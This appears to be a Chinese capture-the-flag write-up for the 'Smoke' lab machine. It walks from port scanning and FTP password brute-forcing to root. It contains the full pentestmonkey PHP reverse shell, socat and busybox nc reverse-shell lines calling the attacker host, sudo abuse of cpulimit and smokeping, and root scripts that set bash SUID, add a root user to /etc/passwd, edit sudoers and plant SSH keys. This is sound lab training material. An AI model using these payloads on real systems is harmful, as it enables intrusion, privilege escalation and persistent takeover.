

Smoke

靶机: Smoke

作者: Sublarge

靶机ID: 607

系统: Linux

难度: Medium

靶机ip为192.168.56.121

```
Welcome to Alpine Linux 6.12.74-0-lts on an x86_64 (/dev/tty1)
=====-- Made By --=====

      .d8888b.      888      888
d88P  Y88b      888      888
Y88b.      888      888
"Y888b.  888  888 888888b. 888 8888b. 888d888 .d88b. .d88b.
    "Y88b. 888  888 888 "88b 888      "88b 888P" d88P"88b d8P  Y8b
        "888 888  888 888 888 888 .d888888 888      888 888 888888888
Y88b d88P Y88b 888 888 d88P 888 888 888 888      Y88b 888 Y8b.
"Y8888P"   "Y88888 88888P" 888 "Y888888 888      "Y88888 "Y8888
                                   888
                                   Y8b d88P
                                   "Y88P"

                                           @maze-sec.com
=====-- Happy Hacking! --=====

Hostname : Smoke
IP       : 192.168.56.121
Smoke login: [[A_
```

漏洞遍历

端口扫描

```
└─(root@kali)-[~]
└─# nmap -A -sV -T4 -p- 192.168.56.121
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 00:52
EDT
Nmap scan report for 192.168.56.121 (192.168.56.121)
Host is up (0.00032s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
22/tcp    open  ssh      OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://smoke.dsz/
|_http-server-header: Apache/2.4.66 (Unix)
MAC Address: 08:00:27:C4:02:79 (PCS Systemtechnik/Oracle
VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4
cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: Host: Smoke.localdomain; OS: Unix
```

ftp没有匿名用户 看80端口

访问发现需要用smoke.dsz域名访问，扫下域名没发现什么内容

看网络有没有和后端交互的请求，

<http://smoke.dsz/smokeping/sm.cgi>

```
WARNING: Opening secrets file /etc/smokeping/smokeping_secrets: Permission denied
```

尝试访问无果，源代码找到一个有点像凭证的内容，但不是

>Maintained by Super User</small></p>

这时候想到是不是还有子域名访问，爆破一下

一开始爆太快，线程太多直接超时了，慢一点就能爆破出来了，得到子域名ftp.smoke.dsz

```
gobuster vhost -u http://smoke.dsz -w
/usr/share/wordlists/dirb/common.txt --append-domain -t 3 --
timeout 20s
```

```
(root@kali)-[~]
# gobuster vhost -u http://smoke.dsz -w /usr/share/wordlists/dirb/common.tx
t --append-domain -t 3 --timeout 20s | grep 200
200.smoke.dsz Status: 301 [Size: 342] [--> http://smoke.dsz/]
2000.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2001.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2003.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2002.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2006.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2004.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2007.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2005.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2008.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
2009.smoke.dsz Status: 301 [Size: 343] [--> http://smoke.dsz/]
ftp.smoke.dsz Status: 200 [Size: 3137]
```

访问域名有个文件上传，虽然能得到文件路径，试出来png和zip，但是直接生成文件名，无法解析

```
[01:19:45] Starting:
[01:19:45] 403 - 316B - /.ht_wsr.txt
[01:19:45] 403 - 316B - /.htaccess.bak1
[01:19:45] 403 - 316B - /.htaccess.orig
[01:19:45] 403 - 316B - /.htaccess.sample
[01:19:45] 403 - 316B - /.htaccess.save
[01:19:45] 403 - 316B - /.htaccess_extra
[01:19:45] 403 - 316B - /.htaccess_orig
[01:19:45] 403 - 316B - /.htaccess_sc
[01:19:45] 403 - 316B - /.htaccessBAK
[01:19:45] 403 - 316B - /.htaccessOLD2
[01:19:45] 403 - 316B - /.htaccessOLD
[01:19:45] 403 - 316B - /.htm
[01:19:45] 403 - 316B - /.html
[01:19:45] 403 - 316B - /.htpasswd_test
[01:19:45] 403 - 316B - /.httr-oauth
[01:19:45] 403 - 316B - /.htpasswd
[01:20:00] 200 - 41B - /upload.php
[01:20:00] 301 - 354B - /uploads -> http://ftp.smoke.dsz/uploads/
[01:20:00] 200 - 363B - /uploads/
[01:20:03] 403 - 316B - /server-status/
[01:20:03] 403 - 316B - /server-status
```

Task Completed

但是在uploads里面扫描到passwd，泄露/etc/passwd

```
← → ↻ 🏠 ⚠ 不安全 http://ftp.smoke.dsz/uploads/passwd
🍷 | 🌀 新聊天CtrlShiftO 🌐 📄 Adobe Acrobat

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21:/:/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
apache:x:104:106:apache:/var/www:/sbin/nologin
www-data:x:82:82:/:/var/www:/sbin/nologin
vsftp:x:101:21:vsftp:/var/lib/ftp:/sbin/nologin
ftpuuser:x:1000:1000:/:/home/ftpuuser:/bin/bash
smokeping:x:102:102:smokeping:/var/lib/smokeping:/sbin/nologin
tkbic:x:1001:1001:/:/home/tkbic:/bin/bash
```

之后还在尝试文件上传，同时对已知用户名进行ftp爆破

```
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt -t 8 -vV
-f 192.168.56.121 ftp
```

```
[21][ftp] host: 192.168.56.121 login: ftpuser password: kelvin
[STATUS] attack finished for 192.168.56.121 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-15 02:02:38
```

成功得到ftpuuser的ftp凭证ftpuuser:kelvin

ftp上已经有root创建的.ssh，不能新建.ssh，另一个可能是继续横向的用户没权限访问

这里是找到/var/www/vhosts/ftp.smoke.dsz/uploads目录能读写，可以直接写反弹shell进去

```
ftp> ls -la
229 Entering Extended Passive Mode (|||46330|)
150 Here comes the directory listing.
drwxr-xr-x   3 104      106      4096 Feb 26 12:27 .
drwxr-xr-x   3 104      106      4096 Feb 26 15:58 ..
-rw-r--r--   1 104      106      3137 Feb 26 12:27 index.html
-rw-r--r--   1 104      106      1424 Feb 26 12:27 upload.php
drwxrwxrwx   2 104      106      4096 Apr 15 07:39 uploads
226 Directory send OK.
```

这里直接用bash -i >& /dev/tcp/192.168.56.102/9001

0>&1

会反弹失败

核心原因：/dev/tcp 是 Bash 的「内置虚拟设备」，环境不支持该特性
/dev/tcp/IP/端口 不是真实存在的文件系统目录，而是 Bash 专属的网络重定向功能（依赖编译时的 --enable-net-redirections 选项）。出现 nonexistent directory 错误，

通常是因为：

你用 BusyBox 的 sh/ash 执行了脚本（BusyBox 的 shell 不支持 /dev/tcp）

直接上工具了

- 用 PHP 内置的 `fsockopen()` 函数直接发起 TCP 连接到攻击机（192.168.56.102:9001）
- 这是 PHP 自身实现的网络功能，不经过 BusyBox，也不依赖 /dev/tcp，所以 BusyBox 的限制对它无效

```
<?php
// php-reverse-shell - A Reverse Shell implementation in
PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.102'; // You have changed this
$port = 9001; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us
to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
```

```
    exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
    printit("Error: Can't setsid()");
    exit(1);
}

$daemon = 1;
} else {
    printit("WARNING: Failed to daemonise. This is quite
common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
```



```
$descriptorspec = array(
    0 => array("pipe", "r"), // stdin is a pipe that the
child will read from
    1 => array("pipe", "w"), // stdout is a pipe that the
child will write to
    2 => array("pipe", "w") // stderr is a pipe that the
child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occasionally reads will block, even though
stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
```

```
if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");
    break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a,
$error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
```

```
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper
daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string
";
    }
}

?>
```

成功反弹shell

升级tty时发现没有python和python3
socat和script也不行

没有的话就传一个上去

```
/ $ cd tmp
/tmp $ wget http://192.168.56.102:8000/socat
Connecting to 192.168.56.102:8000 (192.168.56.102:8000)
saving to 'socat'
socat 100% |*****| 366k 0:00:00 E
TA
'socat' saved
/tmp $ ls
socat
/tmp $ chmod +x socat
```

```
./socat TCP:192.168.56.102:9002
EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
```

```
(root@kali)-[~]
# nc -lvnp 9002
listening on [any] 9002 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.121] 34742
bash-5.2$ ls
ls
socat
bash-5.2$ tty
tty
/dev/pts/0
bash-5.2$
```

user提权

su ftpuser直接上去了

默认配置里这两个是一样的，但还是有可能不相同的

横向

查看sudo -l发现提示用-S

查看sudo -S -l发现可以以tkbic权限无password执行/usr/bin/cpulimit

```
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
sudo -S -l
[sudo] password for ftpuser: kelvin
Matching Defaults entries for ftpuser on Smoke:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for ftpuser:
    Defaults! /usr/sbin/visudo env_keep+=("SUDO_EDITOR EDITOR VISUAL")

User ftpuser may run the following commands on Smoke:
    (tkbic) /usr/bin/cpulimit
```

cpulimit用于限制进程 CPU 使用率
在gtfobins上能看到其利用命令

 / **cpulimit**

Sponsor Fork Star 12,911

Shell

Shell

This executable can spawn an interactive system shell.

(a) Unprivileged Sudo SUID

This function is performed by the privileged user if executed via `sudo` because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via `sudo VAR=value ...` or exported then `sudo -E ...`.

```
cpulimit -l 100 -f -- /bin/sh
```

[Source](#) | [History](#)

然后直接横出来了，不过直接照抄不对，ai改了下

```
sudo -u tkbic /usr/bin/cpulimit -l 100 /bin/bash
```

```
sudo -u tkbic /usr/bin/cpulimit -l 100 /bin/bash
ls
ftpuser
tkbic
id
uid=1001(tkbic) gid=1001(tkbic) groups=1001(tkbic)
```

root提权

这里就省略tkbic生成ssh私钥然后连接的过程

继续root提权

查看sudo -l能发现还有无password运行命令

```
tkbic@Smoke:~$ sudo -l
Matching Defaults entries for tkbic on Smoke:

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for tkbic:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User tkbic may run the following commands on Smoke:
    (ALL) NOPASSWD: /usr/sbin/smokeping, /usr/bin/pkill smokeping
```

smokeping是一个网络监控工具，pkill和kill差不多
pkill没找到执行外部命令的方法

自定义 Probe 可以执行外部命令：

```
perl

# 在 probe 定义中
+FPing
binary = /usr/sbin/fping          # 指定外部程序

# 或者使用 Curl 等 probe
+Curl
binary = /usr/bin/curl
```

发现可以通过修改smokeping的配置文件来达到任意执行代码的效果

先查看默认配置文件权限

```
tkbic@Smoke:~# ls -la /etc/smokeping/config
-rw-r--r--  1 root    root      3432 Feb 26 20:19 /etc/smokeping/config
```

能读不能写，那就复制文件到指定目录然后再--config指定配置

写个提权脚本

```
cat > shell.sh <<'EOF'
#!/bin/sh
chmod 4755 /bin/bash
EOF
```

把这里的binary变量修改为我们指定的脚本

```
107
110 + FPing
111
112 binary = /home/tkbic/shell.sh
113
```

用--debug参数让其直接执行

```
sudo /usr/sbin/smokeping --config /home/tkbic/config --debug
```

```
tkbic@Smoke:~# ls -la /bin/bash
-rwsr-xr-x    1 root    root          756384 Sep 24 2024 /bin/bash
tkbic@Smoke:~# /bin/bash -p
tkbic@Smoke:~# /bin/bash -p -c 'id; cat /root/root.txt'
uid=1001(tkbic) gid=1001(tkbic) groups=1001(tkbic)
cat: can't open '/root/root.txt': Permission denied
tkbic@Smoke:~# grep -E 'NoNewPrivs|Uid|Gid' /proc/$$/status
Uid:    1001    0      0      0
Gid:    1001   1001   1001   1001
NoNewPrivs:    0
tkbic@Smoke:~# printf '%s\n' "$(< /root/root.txt)"
flag{root-21d1cf4c7492633885766cbca8cee19c}
```

这里确实成功修改bash权限了，但是使用id和cat还是出现权限问题

这是因为Alpine/BusyBox默认用户态工具链使用的是

id/cat 是普通 GNU 程序，会继承 euid=0

Alpine的id/cat 是 BusyBox applet，会做额外的权限处理

```
tkbic@Smoke:~# readlink -f "$(command -v id)"
/bin/busybox
```

通过命令验证的确是busybox

或者用其他提权方式

写入 /etc/passwd 创建 root 用户

```
cat > shell.sh <<'EOF'
#!/bin/sh
# 一键创建root用户（用户名：hacker，密码：root123）
PASS_HASH=$(openssl passwd -1 -salt 'root' 'root123')
echo "hacker:$PASS_HASH:0:0:root:/root:/bin/bash" >>
/etc/passwd
EOF
```



```
-bash-5.2$ su hacker
Password:
Smoke:/home/tkbic# id
uid=0(root) gid=0(root) groups=0(root)
Smoke:/home/tkbic# |
```

给当前用户添加免密 sudo 权限

```
cat > shell.sh <<'EOF'
#!/bin/sh
echo "tkbic ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
EOF

cat > shell.sh <<'EOF'
#!/bin/sh
echo "tkbic ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/tkbic
chmod 0440 /etc/sudoers.d/tkbic
EOF

sudo -i
```

这里root权限修改过了，因此访问不了，可以加一行chmod修改权限

```
bash-5.2$ cat /etc/sudoers
cat: can't open '/etc/sudoers': Permission denied
bash-5.2$ sudo -i
root@Smoke:~#
```

读取私钥

```
cat > shell.sh <<'EOF'
#!/bin/sh
cp -r /root/.ssh /tmp/.ssh
```

```
chmod -R 755 /tmp/.ssh
EOF
```

```
bash-5.2$ ls -la /tmp
total 4
drwxrwxrwt  5 root    root    100 Apr 16 09:10 .
drwxr-xr-x 21 root    root    4096 Mar 28 13:09 ..
drwxrwxrwt  2 root    root    40 Apr 16 08:43 .ICE-unix
drwxrwxrwt  2 root    root    40 Apr 16 08:43 .X11-unix
drwxr-xr-x  3 root    root    80 Apr 16 09:10 .ssh
bash-5.2$ ls -la /tmp/.ssh
total 4
drwxr-xr-x  3 root    root    80 Apr 16 09:10 .
drwxrwxrwt  5 root    root   100 Apr 16 09:10 ..
drwxr-xr-x  2 root    root    60 Apr 16 09:10 .ssh
-rwxr-xr-x  1 root    root    91 Apr 16 09:10 authorized_keys
bash-5.2$ ls -la /tmp/.ssh/.ssh
total 4
drwxr-xr-x  2 root    root    60 Apr 16 09:10 .
drwxr-xr-x  3 root    root    80 Apr 16 09:10 ..
-rwxr-xr-x  1 root    root    91 Apr 16 09:10 authorized_keys
bash-5.2$ |
```

无私钥时可以直接写入公钥

连接攻击机获取公钥

```
cat > shell.sh <<'EOF'
#!/bin/sh
wget -qO- http://192.168.56.102:8000/id_rsa.pub >>
/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
EOF
```

```
cat > shell.sh <<'EOF'
#!/bin/sh
curl http://192.168.56.102:8000/id_rsa.pub >>
/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
```

```
chmod 700 /root/.ssh
```

```
EOF
```

不连接攻击机

```
cat > shell.sh <<'EOF'
```

```
#!/bin/sh
```

```
mkdir -p /root/.ssh
```

```
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCAQCxxxxxxxxxx（你的公钥内容）" >> /root/.ssh/authorized_keys
```

```
chmod 600 /root/.ssh/authorized_keys
```

```
chmod 700 /root/.ssh
```

```
EOF
```

```
(root@kali)-[~/111]
# ssh root@192.168.56.121 -i id_rsa

      _
     _/ \_
    /_   \_
   /_   \_
  /_   \_
 /_   \_
/_   \_

root@Smoke:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Smoke:~#
```

反弹shell

```
-bash-5.2$ apk --version
apk-tools 2.14.9, compiled for x86_64.
-bash-5.2$ apk info busybox
WARNING: opening from cache https://mirrors.aliyun.com/alpine/v3.22/main/: No such file or directory
WARNING: opening from cache https://mirrors.aliyun.com/alpine/v3.22/community/: No such file or directory
busybox-1.37.0-r20 description:
Size optimized toolbox of many common UNIX utilities

busybox-1.37.0-r20 webpage:
https://busybox.net/

busybox-1.37.0-r20 installed size:
798 KiB
```

用 `bash -i >& /dev/tcp/192.168.56.102/9001 0>&1`
会反弹失败，`bash`走的是 `/bin/busybox`

核心原因：`/dev/tcp` 是 `Bash` 的「内置虚拟设备」，环境不支持该特性
`/dev/tcp/IP/端口` 不是真实存在的文件系统目录，而是 `Bash` 专属的网络
重定向功能（依赖编译时的 `--enable-net-redirections` 选项）。出现
`nonexistent directory` 错误，
通常是因为：
你用 `BusyBox` 的 `sh/ash` 执行了脚本（`BusyBox` 的 `shell` 不支持
`/dev/tcp`）

这里用 `busybox` 的 `nc` 组件

```
cat > shell.sh <<'EOF'
#!/bin/sh
busybox nc 192.168.56.102 1234 -e /bin/sh
EOF
```

```
(root@kali)-[~]
# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.121] 45793
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),
10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

直接上传 `nc` `socat` 也能反弹

```
cat > shell.sh <<'EOF'
#!/bin/sh
/home/tkbic/socat TCP:192.168.56.102:9003
EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
EOF
```

```
-bash-5.2$ wget http://192.168.56.102:8000/socat
Connecting to 192.168.56.102:8000 (192.168.56.102:8000)
saving to 'socat'
socat 100% |*****| 366k 0:00:00 ETA
'socat' saved
-bash-5.2$ cat > shell.sh <<'EOF'
#!/bin/sh
/home/tkbic/socat TCP:192.168.56.102:9003 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
EOF
```

```
-bash-5.2$ chmod +x ./socat
-bash-5.2$ sudo /usr/sbin/smokeping --config /home/tkbic/config --debug
WARNING: Hostname 'alpinelinux.org' does currently not resolve to an IPv4 address
WARNING: Hostname 'alpinelinux.org' does currently not resolve to an IPv4 address
WARNING: Hostname 'docs.alpinelinux.org' does currently not resolve to an IPv4 address
WARNING: Hostname 'docs.alpinelinux.org' does currently not resolve to an IPv4 address
WARNING: Hostname 'pkgs.alpinelinux.org' does currently not resolve to an IPv4 address
WARNING: Hostname 'pkgs.alpinelinux.org' does currently not resolve to an IPv4 address
```

```
(root@kali)-[~]
# nc -lvnp 9003
listening on [any] 9003 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.121] 56236
Smoke:/home/tkbic# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dial
out),26(tape),27(video)
Smoke:/home/tkbic#
```